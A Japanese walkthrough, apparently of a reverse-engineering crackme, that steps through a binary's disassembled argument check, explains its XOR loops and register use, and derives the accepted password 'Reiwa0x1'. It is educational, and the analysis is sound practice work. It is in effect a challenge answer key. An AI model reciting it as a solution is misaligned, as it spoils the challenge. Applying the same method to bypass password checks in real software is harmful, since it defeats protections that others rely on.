4: 8c0,650,0x3 rax=ecx eax=0x4 BYTE PTR [rsp+rax*1-0x8]=r11b

5: 8c4,630,0x4 r11b≠0のとき6d4へジャンプ r11b==0ときはeax=0x6; ※6d4の処理 eax=0x5

6:8c8,620,0x5 ecx+=0x1; eax=0x2;

7:8cc,600,0x6 ecx≠0x8のとき57cにジャンプ(返り値1) ecx=0x8のときeax=0x7

8:8d0,5f0,0x7 eax=0x8 r8d=0xffffffcc ※549よりr9d=0xffffffccであるから

9:8d4,5e0,0x8 eax=0x9 ecx=0

10:8d8,5c0,0x9 ecx<=0x7のとき6e1へジャンプ それ以外のときはeax=0xd ※6e1の処理 eax=0xa

11:8dc,5a0,0xa rax=ecx r11d=[r8+rcx1]; eax=0xb BYTE PTR[rsp+rax1-0x8] xor r11b

12:8e0,588,0xb rax=ecx eax=0xc r8d=BYTE PTR[rsp=rax*1-0x8]

13:8e4,568,0xc eax=0x9 ecx+=0x1 eax<=0xdのとき559にジャンプ　それ以外のときはeax=0x1(返り値1) ※559の処理は10:と同様(eax=0x9であるため)

14:8e8,6c0,0xd 引数==r10のとき6eeにジャンプ 引数≠r10のときはeax=0xe(返り値1) ※6eeの処理 eax=0 ret(返り値0)

順に要点をまとめていきましょう。

プログラムの全体の流れは、

1→コマンドライン引数の個数の確認(1つ以外は返り値1)

2→ecx=0を格納

3~6→ループによって引数を1文字づつスキャンしメモリに格納

7→文字数の判定(8byte以外は返り値1)

8→r8d=0xffffffcc

9→ecx=0を格納

10~13→ループによって引数を1文字づつ引数を演算

14→演算結果がr10と等しいとき返り値に0

となります。このプログラムにおいて重要な処理は3~6,10~13なので、以下に詳しく記します。

3~6の処理

3~6のループは6でeax=0x2が格納され、次の550からの演算で3にジャンプする仕組みになっています。このループから抜け出すパターンは2つ。3でecx>7を満たし63eにジャンプするパターンと、BYTE PTR [rsp+rax*1-0x8]==0を満たしeax=0x6を格納させるパターンです。6は処理が行われる度にecxはインクリメントされているので、9回目のループで抜け出せることがわかります。(ecx=0x0~0x8)。

重要なのは4の下記の部分です。

 650:    4c 8b 5e 08             mov    r11,QWORD PTR [rsi+0x8]
 654:   48 63 c1                movsxd rax,ecx
            :
 65f:   45 0f b6 1c 03          movzx  r11d,BYTE PTR [r11+rax*1]
 664:   44 88 5c 04 f8          mov    BYTE PTR [rsp+rax*1-0x8],r11b

前述したようにrsiレジスタが使われていることから、r11には引数が格納されていると予想できます。eaxはインクリメントされているため、raxの値もループする度に0x1加算されます。これにより65f,664の演算も0x1づつ変化し、BYTE PTRとしてデータを扱っていることから、引数の文字列を1文字づつスキャンし格納していると考えることができます。

レジスタについて(64bit Linuxの場合) 汎用レジスタのr10,r11は自由に使っていいレジスタで、特に使用に制限がありません。ちなみにr8,r9は引数を入れるレジスタとして使われます。 ここでr11d,r11bレジスタはr11の下位4byte(DWORD)、下位1byte(BYTE)のことを表しています。ここをおさえないと10~13の処理を理解する上でつまづきます(つまづきました)。d,w,bは頭文字をとっていることを頭に入れておくといいかもしれません。

10~13の処理

10~13のループでは13の568でeax=0x9となり、577でeax<=0xd(eax=0x9なので必ずtrueになる)のとき559にジャンプ、559でeax=0x9として演算されるため10に戻る仕組みになっています。 10の処理を見ると、ecx<=0x7のときは6e1へジャンプします。6e1ではeax=0xaが格納され、11に移動します。9の5e8でecx=0が代入されていること、13の574でecxがインクリメントされていることから、8回目のループで抜け出せることがわかります。6e1へのジャンプを回避すると5c9でeax=0xdとなり、14に移ることができます。

続いて11,12です。ここが最も重要です。

 5a0: 48 63 c1                movsxd rax,ecx
 5a3:   45 8d 1c 08             lea    r11d,[r8+rcx*1]
 5a7:   c7 44 24 f4 0b 00 00    mov    DWORD PTR [rsp-0xc],0xb
 5ae:   00 
 5af:   44 30 5c 04 f8          xor    BYTE PTR [rsp+rax*1-0x8],r11b

rax=ecxとなるためループ毎にraxもインクリメントされていくことがわかります。次のlea命令は、r8+rcx*1の演算結果のアドレスがr11dに格納されます。r8d=0xffffffcc(r8dはr8の下位4byte)、rcxの初回の値は0(ecxはrcxの下位4byte)なのでr11dには0xffffffccが格納されていることがわかります。eaxに0xbを代入した後、r11b(r11dの下位1byte)と入力された引数の文字列とでxor演算を行っています。1byteはすなわち1文字分です。

 588: 48 63 c1                movsxd rax,ecx
 58b:   c7 44 24 f4 0c 00 00    mov    DWORD PTR [rsp-0xc],0xc
 592:   00 
 593:   44 0f b6 44 04 f8       movzx  r8d,BYTE PTR [rsp+rax*1-0x8]

rax=ecxとなるためこちらもループ毎にraxがインクリメントされていきます。eaxに0xcを代入したのち、r8dに11でxorされた演算結果が格納されます。movzxは、BYTE PTR [rsp+rax*1-0x8]では足りないr8dのbitを0で埋める命令です。

答え

10~13のループにより引数を1byteづつ、計8回xorで演算した結果がQWORD PTR [rsp-0x8]に格納されます。14よりその値がr10、すなわち0xedd5a792ef95fa9e(53fより)と等しければ返り値0となります。 つまりr10を1byteづつに区切り、初回のr11bの値をもとに計算式を立てると以下のようになります。

引数の1文字目 xor 0xcc(r11b) = 0x9e(r10)

r11bはr11d下位1byte、つまり0xffffffccの下位1byteなので0xccとなります。 r10はリトルエンディアンを考慮し1byteづつに区切ると、先頭から0x9e,0xfa,0x95,0xef,0x92,0xa7,0xd5,0xed となります。

引数の1文字目 xor 0xcc(r11b) = 0x9e(r10)より 引数の1文字目 = 0xcc xor 0x9e = 0x52

0x52はasciiコードで'R'を意味するので頭文字はRであることがわかりました。 これ以降は、raxがインクリメントされていることに注意し、r10のデータに加算して計算します。すると

2(文字目) xor 0x9f = 0xfa 3 xor 0xfc = 0x95 4 xor 0x98 = 0xef 5 xor 0xf3 = 0x92 6 xor 0x97 = 0xa7 7 xor 0xad = 0xd5 8 xor 0xdc = 0xed

となり、1文字目から8文字目までの文字を順に並べると

Reiwa0x1となります！